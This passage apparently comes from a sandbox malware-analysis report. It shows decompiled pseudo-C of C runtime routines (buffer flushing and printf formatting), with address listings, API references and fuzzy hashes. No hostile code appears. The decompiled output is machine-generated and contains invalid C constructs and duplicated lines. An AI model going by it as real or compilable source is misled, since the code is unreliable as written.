								 *((intOrPtr*)(_t190 - 0x14)) = (( *(_t190 - 0x10) & 0x0000001f) << 6) +  *((intOrPtr*)(0x55b840 + ( *(_t190 - 0x10) >> 5) * 4));
							}
							_t68 =  *((intOrPtr*)(_t190 - 0x14)) + 4; // 0xa80
							_t149 =  *_t68 & 0x00000020;
							if(( *_t68 & 0x00000020) == 0) {
								goto L23;
							} else {
								_t174 =  *(_t190 - 0x10);
								 *(_t190 - 0x1c) = E00432D50(_t149, _t174, _t174, 0, 0, 2);
								 *(_t190 - 0x18) = _t174;
								if(( *(_t190 - 0x1c) &  *(_t190 - 0x18)) != 0xffffffff) {
									goto L23;
								}
								_t114 =  *(_t190 - 8);
								 *(_t114 + 0xc) =  *( *(_t190 - 8) + 0xc) | 0x00000020;
								_t102 = _t114 | 0xffffffff;
								goto L28;
							}
						} else {
							 *(_t190 - 0xc) = E00433090( *(_t190 - 8),  *(_t190 - 0x10),  *((intOrPtr*)( *(_t190 - 8) + 8)),  *(_t190 - 4));
							L23:
							 *((char*)( *((intOrPtr*)( *(_t190 - 8) + 8)))) =  *(_t190 + 8);
							goto L25;
						}
					}
					if( *(_t190 - 8) == E00426680() + 0x20 ||  *(_t190 - 8) == E00426680() + 0x40) {
						_t135 =  *(_t190 - 0x10);
						_t121 = E00433EC0(_t129,  *(_t190 - 0x10), _t188, _t189,  *(_t190 - 0x10));
						_t192 = _t192 + 4;
						if(_t121 != 0) {
							goto L10;
						}
						goto L9;
					} else {
						L9:
						E00433E00(_t135,  *(_t190 - 8));
						_t192 = _t192 + 4;
						goto L10;
					}
				} else {
					 *( *(_t190 - 8) + 4) = 0;
					if(( *( *(_t190 - 8) + 0xc) & 0x00000010) == 0) {
						_t126 =  *(_t190 - 8);
						 *( *(_t190 - 8) + 0xc) =  *(_t126 + 0xc) | 0x00000020;
						_t102 = _t126 | 0xffffffff;
						L28:
						return _t102;
					}
					 *( *(_t190 - 8)) =  *((intOrPtr*)( *(_t190 - 8) + 8));
					 *( *(_t190 - 8) + 0xc) =  *( *(_t190 - 8) + 0xc) & 0xfffffffe;
					goto L5;
				}
			}

0x004269f9
0x00426a43
0x00426a4f
0x00426a5e
0x00426a64
0x00426a6b
0x00426a72
0x00426a75
0x00426a83
0x00426abb
0x00426ac7
0x00426bc6
0x00426be1
0x00426be4
0x00426bea
0x00426c03
0x00426bec
0x00426bf2
0x00426bf8
0x00426bfb
0x00426bfb
0x00000000
0x00426bea
0x00426ad8
0x00426ada
0x00426adf
0x00426ae1
0x00426ae6
0x00426aeb
0x00426aed
0x00426af2
0x00426af8
0x00426afa
0x00426afa
0x00426af8
0x00426b06
0x00426b15
0x00426b23
0x00426b2a
0x00426b4c
0x00426b6f
0x00426b54
0x00426b6a
0x00426b6a
0x00426b79
0x00426b7d
0x00426b80
0x00000000
0x00426b82
0x00426b88
0x00426b94
0x00426b97
0x00426ba3
0x00000000
0x00000000
0x00426bae
0x00426bb1
0x00426bb4
0x00000000
0x00426bb4
0x00426b2c
0x00426b43
0x00426bb9
0x00426bc2
0x00000000
0x00426bc2
0x00426b2a
0x00426a90
0x00426a9f
0x00426aa3
0x00426aa8
0x00426aad
0x00000000
0x00000000
0x00000000
0x00426aaf
0x00426aaf
0x00426ab3
0x00426ab8
0x00000000
0x00426ab8
0x004269fb
0x004269fe
0x00426a0e
0x00426a2c
0x00426a38
0x00426a3b
0x00426c08
0x00426c0b
0x00426c0b
0x00426a19
0x00426a27
0x00000000
0x00426a27

APIs

__isatty.LIBCMTD ref: 00426AA3
__getbuf.LIBCMTD ref: 00426AB3
__write.LIBCMTD ref: 00426B3B

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c, xrefs: 00426AE6
("inconsistent IOB fields", stream->_ptr - stream->_base >= 0), xrefs: 00426ADA

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: __getbuf__isatty__write
String ID: ("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)$f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c
API String ID: 2861569966-4070537404
Opcode ID: e099a88fcb4db35d6a5e9089101c9f3d5217fd82cdc495e31c6b4d650f41cb7c
Instruction ID: 06afa81adfccc1670baf133b546bbe169423687facd37c90c040925b124fc092
Opcode Fuzzy Hash: e099a88fcb4db35d6a5e9089101c9f3d5217fd82cdc495e31c6b4d650f41cb7c
Instruction Fuzzy Hash: 2351FA78B00218EFCB04CF94D491AADFB71FF89324F15C299D845AB395D635EA81CB44

Uniqueness

Uniqueness Score: -1.00%

Function 00435034, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00435034(void* __ebx, void* __edi, void* __esi) {
				signed int _t499;
				void* _t504;
				signed int _t506;
				void* _t526;
				void* _t528;
				signed int _t536;
				void* _t555;
				void* _t556;
				signed int _t557;
				void* _t559;

				L0:
				while(1) {
					L0:
					_t556 = __esi;
					_t555 = __edi;
					_t528 = __ebx;
					 *(_t557 - 0x30) = 8;
					while(1) {
						L146:
						 *(__ebp - 0x260) = 7;
						while(1) {
							L148:
							 *(__ebp - 8) = 0x10;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
							__eflags =  *(__ebp - 0x10) & 0x00000080;
							if(( *(__ebp - 0x10) & 0x00000080) != 0) {
								 *(__ebp - 0x14) = 0x30;
								 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
								__eflags =  *(__ebp - 0x260) + 0x51;
								 *((char*)(__ebp - 0x13)) = __al;
								 *(__ebp - 0x1c) = 2;
							}
							while(1) {
								L153:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
										__eflags =  *(__ebp - 0x10) & 0x00000020;
										if(( *(__ebp - 0x10) & 0x00000020) == 0) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												__eax = E004283F0(__ebp + 0x14);
												__edx = 0;
												__eflags = 0;
												 *(__ebp - 0x2b8) = __eax;
												 *(__ebp - 0x2b4) = 0;
											} else {
												__eax = __ebp + 0x14;
												__eax = E004283F0(__ebp + 0x14);
												asm("cdq");
												 *(__ebp - 0x2b8) = __eax;
												 *(__ebp - 0x2b4) = __edx;
											}
										} else {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												E004283F0(__ebp + 0x14) = __ax & 0x0000ffff;
												asm("cdq");
												 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
												 *(__ebp - 0x2b4) = __edx;
											} else {
												__eax = __ebp + 0x14;
												__eax = E004283F0(__ebp + 0x14);
												__ax = __eax;
												asm("cdq");
												 *(__ebp - 0x2b8) = __eax;
												 *(__ebp - 0x2b4) = __edx;
											}
										}
									} else {
										__eax = __ebp + 0x14;
										 *(__ebp - 0x2b8) = E00428410(__ebp + 0x14);
										 *(__ebp - 0x2b4) = __edx;
									}
								} else {
									__ecx = __ebp + 0x14;
									 *(__ebp - 0x2b8) = E00428410(__ebp + 0x14);
									 *(__ebp - 0x2b4) = __edx;
								}
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
								__eflags =  *(__ebp - 0x10) & 0x00000040;
								if(( *(__ebp - 0x10) & 0x00000040) == 0) {
									goto L170;
								}
								L166:
								__eflags =  *(__ebp - 0x2b4);
								if(__eflags > 0) {
									goto L170;
								}
								L167:
								if(__eflags < 0) {
									L169:
									 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
									__edx =  *(__ebp - 0x2b4);
									asm("adc edx, 0x0");
									__edx =  ~( *(__ebp - 0x2b4));
									 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
									 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									L171:
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
									__eflags =  *(__ebp - 0x10) & 0x00008000;
									if(( *(__ebp - 0x10) & 0x00008000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
										__eflags =  *(__ebp - 0x10) & 0x00001000;
										if(( *(__ebp - 0x10) & 0x00001000) == 0) {
											__edx =  *(__ebp - 0x2c0);
											__eax =  *(__ebp - 0x2bc);
											__eax =  *(__ebp - 0x2bc) & 0x00000000;
											__eflags = __eax;
											 *(__ebp - 0x2bc) = __eax;
										}
									}
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) >= 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										__eflags =  *(__ebp - 0x30) - 0x200;
										if( *(__ebp - 0x30) > 0x200) {
											 *(__ebp - 0x30) = 0x200;
										}
									} else {
										 *(__ebp - 0x30) = 1;
									}
									 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
										 *(__ebp - 0x1c) = 0;
									}
									__eax = __ebp - 0x49;
									 *(__ebp - 4) = __ebp - 0x49;
									while(1) {
										L181:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L183;
										}
										L182:
										 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
										__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
										if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
											L186:
											__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
											 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
											__ecx =  *(__ebp - 4);
											__ecx =  *(__ebp - 4) + 1;
											 *(__ebp - 4) = __ecx;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
											__eflags =  *(__ebp - 0x10) & 0x00000200;
											if(( *(__ebp - 0x10) & 0x00000200) == 0) {
												while(1) {
													L190:
													__eflags =  *(__ebp - 0x28);
													if( *(__ebp - 0x28) != 0) {
														goto L216;
													}
													L191:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
														__eflags =  *(__ebp - 0x10) & 0x00000100;
														if(( *(__ebp - 0x10) & 0x00000100) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
															__eflags =  *(__ebp - 0x10) & 0x00000001;
															if(( *(__ebp - 0x10) & 0x00000001) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
																__eflags =  *(__ebp - 0x10) & 0x00000002;
																if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																	 *(__ebp - 0x14) = 0x20;
																	 *(__ebp - 0x1c) = 1;
																}
															} else {
																 *(__ebp - 0x14) = 0x2b;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2d;
															 *(__ebp - 0x1c) = 1;
														}
													}
													 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x2c4) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
													__eflags =  *(__ebp - 0x10) & 0x0000000c;
													if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2c4);
														__eax = E004357B0(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
													}
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x1c);
													__edx = __ebp - 0x14;
													E004357F0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) & 0x00000008;
													__eflags =  *(__ebp - 0x10) & 0x00000008;
													if(( *(__ebp - 0x10) & 0x00000008) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) == 0) {
															__edx = __ebp - 0x24c;
															__eax =  *(__ebp + 8);
															__ecx =  *(__ebp - 0x2c4);
															__eax = E004357B0(0x30,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
													__eflags =  *(__ebp - 0xc);
													if( *(__ebp - 0xc) == 0) {
														L212:
														__ecx = __ebp - 0x24c;
														__edx =  *(__ebp + 8);
														__eax =  *(__ebp - 0x24);
														__ecx =  *(__ebp - 4);
														__eax = E004357F0(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
														goto L213;
													} else {
														L204:
														__eflags =  *(__ebp - 0x24);
														if( *(__ebp - 0x24) <= 0) {
															goto L212;
														}
														L205:
														 *(__ebp - 0x2dc) = 0;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x2c8) =  *(__ebp - 4);
														__eax =  *(__ebp - 0x24);
														 *(__ebp - 0x2cc) =  *(__ebp - 0x24);
														while(1) {
															L206:
															__ecx =  *(__ebp - 0x2cc);
															 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
															 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L207:
															__eax =  *(__ebp - 0x2c8);
															 *(__ebp - 0x32e) =  *( *(__ebp - 0x2c8));
															__edx =  *(__ebp - 0x32e) & 0x0000ffff;
															__eax = __ebp - 0x2d8;
															__ecx = __ebp - 0x2d0;
															 *(__ebp - 0x2dc) = E004342C0(__ebp - 0x2d0, __ebp - 0x2d8, 6,  *(__ebp - 0x32e) & 0x0000ffff);
															 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
															 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
															__eflags =  *(__ebp - 0x2dc);
															if( *(__ebp - 0x2dc) != 0) {
																L209:
																 *(__ebp - 0x24c) = 0xffffffff;
																break;
															}
															L208:
															__eflags =  *(__ebp - 0x2d0);
															if( *(__ebp - 0x2d0) != 0) {
																L210:
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2d0);
																__ebp - 0x2d8 = E004357F0( *(__ebp + 8), __ebp - 0x2d8,  *(__ebp - 0x2d0),  *(__ebp + 8), __ebp - 0x24c);
																continue;
															}
															goto L209;
														}
														L211:
														L213:
														__eflags =  *(__ebp - 0x24c);
														if( *(__ebp - 0x24c) >= 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
															__eflags =  *(__ebp - 0x10) & 0x00000004;
															if(( *(__ebp - 0x10) & 0x00000004) != 0) {
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2c4);
																__eax = E004357B0(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
															}
														}
													}
													L216:
													__eflags =  *(__ebp - 0x20);
													if( *(__ebp - 0x20) != 0) {
														 *(__ebp - 0x20) = L0041C5D0( *(__ebp - 0x20), 2);
														 *(__ebp - 0x20) = 0;
													}
													while(1) {
														L218:
														 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
														_t547 =  *(_t557 - 0x251);
														 *(_t557 + 0xc) =  *(_t557 + 0xc) + 1;
														if( *(_t557 - 0x251) == 0 ||  *(_t557 - 0x24c) < 0) {
															break;
														} else {
															if( *(_t557 - 0x251) < 0x20 ||  *(_t557 - 0x251) > 0x78) {
																 *(_t557 - 0x310) = 0;
															} else {
																 *(_t557 - 0x310) =  *( *(_t557 - 0x251) +  &M00407E18) & 0xf;
															}
														}
														L7:
														 *(_t557 - 0x250) =  *(_t557 - 0x310);
														_t506 =  *(_t557 - 0x250) * 9;
														_t536 =  *(_t557 - 0x25c);
														_t547 = ( *(_t506 + _t536 + 0x407e38) & 0x000000ff) >> 4;
														 *(_t557 - 0x25c) = ( *(_t506 + _t536 + 0x407e38) & 0x000000ff) >> 4;
														if( *(_t557 - 0x25c) != 8) {
															L16:
															 *(_t557 - 0x318) =  *(_t557 - 0x25c);
															__eflags =  *(_t557 - 0x318) - 7;
															if( *(_t557 - 0x318) > 7) {
																continue;
															}
															L17:
															switch( *((intOrPtr*)( *(_t557 - 0x318) * 4 +  &M00435600))) {
																case 0:
																	L18:
																	 *(_t557 - 0xc) = 0;
																	_t509 = E004312B0( *(_t557 - 0x251) & 0x000000ff, E0041AEE0(_t557 - 0x40));
																	_t562 = _t559 + 8;
																	__eflags = _t509;
																	if(_t509 == 0) {
																		L24:
																		E00435710( *(_t557 - 0x251) & 0x000000ff,  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																		_t559 = _t562 + 0xc;
																		goto L218;
																	} else {
																		E00435710( *((intOrPtr*)(_t557 + 8)),  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																		_t562 = _t562 + 0xc;
																		_t541 =  *( *(_t557 + 0xc));
																		 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
																		_t547 =  *(_t557 + 0xc) + 1;
																		__eflags = _t547;
																		 *(_t557 + 0xc) = _t547;
																		asm("sbb eax, eax");
																		 *(_t557 - 0x27c) =  ~( ~( *(_t557 - 0x251)));
																		if(_t547 == 0) {
																			_push(L"(ch != _T(\'\\0\'))");
																			_push(0);
																			_push(0x486);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			_t521 = L0041E410();
																			_t562 = _t562 + 0x14;
																			__eflags = _t521 - 1;
																			if(_t521 == 1) {
																				asm("int3");
																			}
																		}
																		L22:
																		__eflags =  *(_t557 - 0x27c);
																		if( *(_t557 - 0x27c) != 0) {
																			goto L24;
																		} else {
																			 *((intOrPtr*)(L00422F00(_t541))) = 0x16;
																			E00422C90(_t528, _t541, _t555, _t556, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																			 *(_t557 - 0x2f4) = 0xffffffff;
																			E0041AEB0(_t557 - 0x40);
																			_t499 =  *(_t557 - 0x2f4);
																			goto L229;
																		}
																	}
																case 1:
																	L25:
																	 *(__ebp - 0x2c) = 0;
																	__edx =  *(__ebp - 0x2c);
																	 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																	__eax =  *(__ebp - 0x28);
																	 *(__ebp - 0x18) =  *(__ebp - 0x28);
																	__ecx =  *(__ebp - 0x18);
																	 *(__ebp - 0x1c) = __ecx;
																	 *(__ebp - 0x10) = 0;
																	 *(__ebp - 0x30) = 0xffffffff;
																	 *(__ebp - 0xc) = 0;
																	goto L218;
																case 2:
																	L26:
																	__edx =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																	 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																	__eflags =  *(__ebp - 0x31c) - 0x10;
																	if( *(__ebp - 0x31c) > 0x10) {
																		goto L33;
																	}
																	L27:
																	__ecx =  *(__ebp - 0x31c);
																	_t72 = __ecx + 0x435638; // 0x498d04
																	__edx =  *_t72 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t72 & 0x000000ff) * 4 +  &M00435620))) {
																		case 0:
																			goto L30;
																		case 1:
																			goto L31;
																		case 2:
																			goto L29;
																		case 3:
																			goto L28;
																		case 4:
																			goto L32;
																		case 5:
																			goto L33;
																	}
																case 3:
																	L34:
																	__edx =  *((char*)(__ebp - 0x251));
																	__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																	if( *((char*)(__ebp - 0x251)) != 0x2a) {
																		__eax =  *(__ebp - 0x18);
																		__eax =  *(__ebp - 0x18) * 0xa;
																		__eflags = __eax;
																		__ecx =  *((char*)(__ebp - 0x251));
																		_t96 = __ecx - 0x30; // -48
																		__edx = __eax + _t96;
																		 *(__ebp - 0x18) = __eax + _t96;
																	} else {
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x18) = E004283F0(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x18);
																		if( *(__ebp - 0x18) < 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000004;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																			 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																			 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																		}
																	}
																	goto L218;
																case 4:
																	L40:
																	 *(__ebp - 0x30) = 0;
																	goto L218;
																case 5:
																	L41:
																	__eax =  *((char*)(__ebp - 0x251));
																	__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																	if( *((char*)(__ebp - 0x251)) != 0x2a) {
																		__edx =  *(__ebp - 0x30);
																		__edx =  *(__ebp - 0x30) * 0xa;
																		__eflags = __edx;
																		_t107 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																		__ecx = __edx + _t107;
																		 *(__ebp - 0x30) = __ecx;
																	} else {
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x30) = E004283F0(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) < 0) {
																			 *(__ebp - 0x30) = 0xffffffff;
																		}
																	}
																	goto L218;
																case 6:
																	L47:
																	__edx =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																	 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																	__eflags =  *(__ebp - 0x320) - 0x2e;
																	if( *(__ebp - 0x320) > 0x2e) {
																		L70:
																		goto L218;
																	}
																	L48:
																	__ecx =  *(__ebp - 0x320);
																	_t115 = __ecx + 0x435660; // 0x4e6e9003
																	__edx =  *_t115 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t115 & 0x000000ff) * 4 +  &M0043564C))) {
																		case 0:
																			L53:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x36;
																			if( *( *(__ebp + 0xc)) != 0x36) {
																				L56:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x33;
																				if( *( *(__ebp + 0xc)) != 0x33) {
																					L59:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc));
																					__eflags =  *( *(__ebp + 0xc)) - 0x64;
																					if( *( *(__ebp + 0xc)) == 0x64) {
																						L65:
																						L67:
																						goto L70;
																					}
																					L60:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx;
																					__eflags =  *__ecx - 0x69;
																					if( *__ecx == 0x69) {
																						goto L65;
																					}
																					L61:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc));
																					__eflags = __ecx - 0x6f;
																					if(__ecx == 0x6f) {
																						goto L65;
																					}
																					L62:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc));
																					__eflags =  *( *(__ebp + 0xc)) - 0x75;
																					if( *( *(__ebp + 0xc)) == 0x75) {
																						goto L65;
																					}
																					L63:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx;
																					__eflags =  *__ecx - 0x78;
																					if( *__ecx == 0x78) {
																						goto L65;
																					}
																					L64:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc));
																					__eflags = __ecx - 0x58;
																					if(__ecx != 0x58) {
																						 *(__ebp - 0x25c) = 0;
																						goto L18;
																					}
																					goto L65;
																				}
																				L57:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *((char*)(__ecx + 1));
																				__eflags =  *((char*)(__ecx + 1)) - 0x32;
																				if( *((char*)(__ecx + 1)) != 0x32) {
																					goto L59;
																				} else {
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																					__ecx =  *(__ebp - 0x10);
																					__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																					 *(__ebp - 0x10) = __ecx;
																					goto L67;
																				}
																			}
																			L54:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *((char*)(__ecx + 1));
																			__eflags =  *((char*)(__ecx + 1)) - 0x34;
																			if( *((char*)(__ecx + 1)) != 0x34) {
																				goto L56;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00008000;
																				 *(__ebp - 0x10) = __ecx;
																				goto L67;
																			}
																		case 1:
																			L68:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			goto L70;
																		case 2:
																			L49:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x6c;
																			if(__ecx != 0x6c) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000010;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			}
																			goto L70;
																		case 3:
																			L69:
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																			goto L70;
																		case 4:
																			goto L70;
																	}
																case 7:
																	L71:
																	__ecx =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x324) = __ecx;
																	 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																	 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																	__eflags =  *(__ebp - 0x324) - 0x37;
																	if( *(__ebp - 0x324) > 0x37) {
																		while(1) {
																			L190:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	}
																	L72:
																	_t156 =  *(__ebp - 0x324) + 0x4356cc; // 0xcccccc0d
																	__ecx =  *_t156 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M00435690))) {
																		case 0:
																			L123:
																			 *(__ebp - 0x2c) = 1;
																			__ecx =  *((char*)(__ebp - 0x251));
																			__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																			__eflags = __ecx;
																			 *((char*)(__ebp - 0x251)) = __cl;
																			goto L124;
																		case 1:
																			L73:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__eax =  *(__ebp - 0x10);
																				__eax =  *(__ebp - 0x10) | 0x00000800;
																				__eflags = __eax;
																				 *(__ebp - 0x10) = __eax;
																			}
																			goto L75;
																		case 2:
																			L88:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__ecx =  *(__ebp - 0x10);
